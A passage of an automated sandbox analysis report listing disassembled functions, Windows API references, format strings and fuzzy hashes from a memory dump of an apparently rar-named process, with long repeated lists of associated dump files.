Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction ID: 07e1e8a92630b5b639499a4804b862e5f36df75a3042dbeb507fd9f184f704a2
Opcode Fuzzy Hash: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction Fuzzy Hash: FC51C072E18A918AE711CF25D4443AD7BB0BB49B98F048175DE6E97AD8EF38D14AC700

Function 00007FF6FAA380C0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF6FAA3814D
CharToOemA.USER32 ref: 00007FF6FAA381D8
WriteFile.KERNEL32 ref: 00007FF6FAA381FB
GetStdHandle.KERNEL32 ref: 00007FF6FAA38242
WriteConsoleW.KERNEL32 ref: 00007FF6FAA38266

Part of subcall function 00007FF6FAA6D840: WideCharToMultiByte.KERNEL32 ref: 00007FF6FAA6D871

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction ID: 66ee5627eef27a309d7fd280259cf7295b8888bb91c58d793cc0535907da2bca
Opcode Fuzzy Hash: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction Fuzzy Hash: 9E41E721E0CB4242FB209B6099012B962A1BF49BE0F0403B5EABD977D5FE3DE44F8740

Function 00007FF6FAA869B4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6FAA86AD6

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction ID: e3e34f2553a7d3fbda48ad0f4fb9a333cf4aa11229927b84cf04bf91b7a58316
Opcode Fuzzy Hash: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction Fuzzy Hash: 8B41C021B1D68291FB558F02A9046B5A3E1BF08BD0F199575DD7E8B7C4FE3CE40A9340

Function 00007FF6FAA8DC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6FAA8DC47
_set_statfp.LIBCMT ref: 00007FF6FAA8DC62
_set_statfp.LIBCMT ref: 00007FF6FAA8DC7E
_set_statfp.LIBCMT ref: 00007FF6FAA8DCBA

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: 98c1cf7d8f5fa6b1bef1e6acb1df5ae92e37ff916b1e496c3d1deb72632769f1
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: 9A11A7F2E5CA8355F7652135F4863792341AF55370F0846B4E97EC66D6EEACA84E4200

Function 00007FF6FAA37514 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA6CD7C: MessageBeep.USER32(?,?,?,?,00007FF6FAA3CA56,?,?,?,00007FF6FAA6B9B7), ref: 00007FF6FAA6CD9E

wcschr.LIBVCRUNTIME ref: 00007FF6FAA37597
wcschr.LIBVCRUNTIME ref: 00007FF6FAA3768D

Strings

(, xrefs: 00007FF6FAA37754
[%c]%ls, xrefs: 00007FF6FAA37743

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: wcschr$BeepMessage
String ID: ($[%c]%ls
API String ID: 1408639281-228076469
Opcode ID: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction ID: 24c0a2ab29db510c5c8e44d722cf04135612ffb817ff5d66c80f584eefb1b5df
Opcode Fuzzy Hash: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction Fuzzy Hash: 1881D932A0874182EB64CF15E4412BAA7B1FB88B88F540075EEAD97799FF3DE546C700

Function 00007FF6FAA46FE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA47176
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA47221

Strings

%c%c%c%c%c%c%c%c%c, xrefs: 00007FF6FAA4716F
%c%c%c%c%c%c%c, xrefs: 00007FF6FAA471E3

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: swprintf
String ID: %c%c%c%c%c%c%c$%c%c%c%c%c%c%c%c%c
API String ID: 233258989-622958660
Opcode ID: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction ID: eb876d13c0e7b86f20837529f6bf3ff2aea83e044f71bdd84a9e1354793f9cf9
Opcode Fuzzy Hash: 38c4519696e4c9bdd89b4f8cc1889f7268b19d5497b88c6bb2108e0ee8c44be2
Instruction Fuzzy Hash: 2A513EF3F385848AE3548F1CE841BA926A0F364B91F545A24F95AD3B94DE3DDB498700

Function 00007FF6FAA36E84 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 122COMMON

Download Yara Rule

APIs

wcschr.LIBVCRUNTIME ref: 00007FF6FAA36EC8
wcschr.LIBVCRUNTIME ref: 00007FF6FAA36F16

Strings

MCAOmcao, xrefs: 00007FF6FAA36EC1
MCAOmcao, xrefs: 00007FF6FAA36F0F

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: wcschr
String ID: MCAOmcao$MCAOmcao
API String ID: 1497570035-1725859250
Opcode ID: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction ID: c3f9074d35b0943043254fdfa2e930e8ab9d6f8d09d2ab694b887d043cef7471
Opcode Fuzzy Hash: 60d027c937bd85c0ec11d3272bcf654f58bd0898aa2e7cd431d5c18eddc1ac66
Instruction Fuzzy Hash: 5C41E512D0C78380F7609F24914257E5261AF16B84F9854B2EABDCA3D5FE3FE85B8721

Function 00007FF6FAA43528 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00007FF6FAA4359E
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA435E6

Part of subcall function 00007FF6FAA430C8: GetFileAttributesW.KERNELBASE(00000800,00007FF6FAA4305D,?,?,?,?,?,?,?,?,00007FF6FAA54126,?,?,?,?,00000800), ref: 00007FF6FAA430F0
Part of subcall function 00007FF6FAA430C8: GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,00007FF6FAA54126,?,?,?,?,00000800,00000000,00000000), ref: 00007FF6FAA43119

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA43651

Strings

%u.%03u, xrefs: 00007FF6FAA435A7, 00007FF6FAA43630

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AttributesFileswprintf$CurrentProcess
String ID: %u.%03u
API String ID: 2814246642-1114938957
Opcode ID: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction ID: 5f6953ee039337060ac2ee8760a04c9cfb2061de38691e97990f8513429f5ca7
Opcode Fuzzy Hash: 84c97cd936c0b2bb546c7914bc35e6a0bad55efb9bf4e2a2824d38ff43805cc4
Instruction Fuzzy Hash: 1A312621618A8182E7149B29E5112BAA660FB887B4F501335ED7E87BF5FF3DD50B8700

Function 00007FF6FAA87854 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 00007FF6FAA8793A
WriteFile.KERNEL32 ref: 00007FF6FAA8796D
GetLastError.KERNEL32 ref: 00007FF6FAA8798F

Strings

U, xrefs: 00007FF6FAA87918

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ByteCharErrorFileLastMultiWideWrite
String ID: U
API String ID: 2456169464-4171548499
Opcode ID: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction ID: e949166097ce85f6f3625c10abe30d24e0d75db045748eab753bdacc2f48ab97
Opcode Fuzzy Hash: 5dbcbed523f5bc97d8a97ee5e840f7eee38a7f1acec6aeee37cbb534f8f7503d
Instruction Fuzzy Hash: 0941BF32B18A8186EB609F25E8443BAB7A1FB88784F804031EE5D87788EF3CD446C700

Function 00007FF6FAA7D7BA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA7E7D0: __vcrt_getptd_noexit.LIBVCRUNTIME ref: 00007FF6FAA7E7D4

__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6FAA7D7E2
RaiseException.KERNEL32 ref: 00007FF6FAA7D80B
__DestructExceptionObject.LIBVCRUNTIME ref: 00007FF6FAA7D86C

Strings

csm, xrefs: 00007FF6FAA7D83F

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Exception$DestructObject$Raise__vcrt_getptd_noexit
String ID: csm
API String ID: 2280078643-1018135373
Opcode ID: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction ID: bf9fb94a7f119e7668ed1cd6866a14bcbfbe9051fb36ef378bb8bb2ec303cec5
Opcode Fuzzy Hash: 17bbef4e125ef7202bf11184ec0650b854660f7e5235f7bad60fbeeb41854260
Instruction Fuzzy Hash: 2F21297A60864182E770DB15E04026F7761FB88BA5F001275DEAD83BD9DF3DE88ACB00

Function 00007FF6FAA542CC Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA5430F
wcschr.LIBVCRUNTIME ref: 00007FF6FAA5432C
wcschr.LIBVCRUNTIME ref: 00007FF6FAA5433C

Strings

%c:\, xrefs: 00007FF6FAA54302

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: wcschr$swprintf
String ID: %c:\
API String ID: 1303626722-3142399695
Opcode ID: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction ID: 323aa63c1bae22aac1b507bca4774c1c88b43f7225c99881d41083371e9585c9
Opcode Fuzzy Hash: 8ec5db83852f4a6a2a7f14eb2e9108a79b2b390c2c776aa97bec8582bcc41707
Instruction Fuzzy Hash: 4D11AE22A1878286EF206F15D5010AD6371EF55BA0B188171CFBE837E6FF3CE46A8204

Function 00007FF6FAA6B780 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 00007FF6FAA6B7C0
CreateSemaphoreW.KERNEL32 ref: 00007FF6FAA6B7D0
CreateEventW.KERNEL32 ref: 00007FF6FAA6B7E7

Strings

Thread pool initialization failed., xrefs: 00007FF6FAA6B803

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction ID: 9b1f8a99e058f657920d95d4cc63e8022425c69d74d8434ce8f2d90c1a0e3183
Opcode Fuzzy Hash: d15256d0e5626b759ea638b3cf01690b973b86e734aede79ee3cd8415fd62731
Instruction Fuzzy Hash: E211E632F1574182FB508F25E4453AA32A2EBD8B98F1C8035CA5D876D9EF3ED45B8780

Function 00007FF6FAA72984 Relevance: 6.1, APIs: 4, Instructions: 138COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA72B96
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA72BA7

Part of subcall function 00007FF6FAA7BA34: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6FAA7B313), ref: 00007FF6FAA7BAB1
Part of subcall function 00007FF6FAA7BA34: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6FAA7B313), ref: 00007FF6FAA7BAF0

std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6FAA72BB2
_CxxThrowException.LIBVCRUNTIME ref: 00007FF6FAA72BC3

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

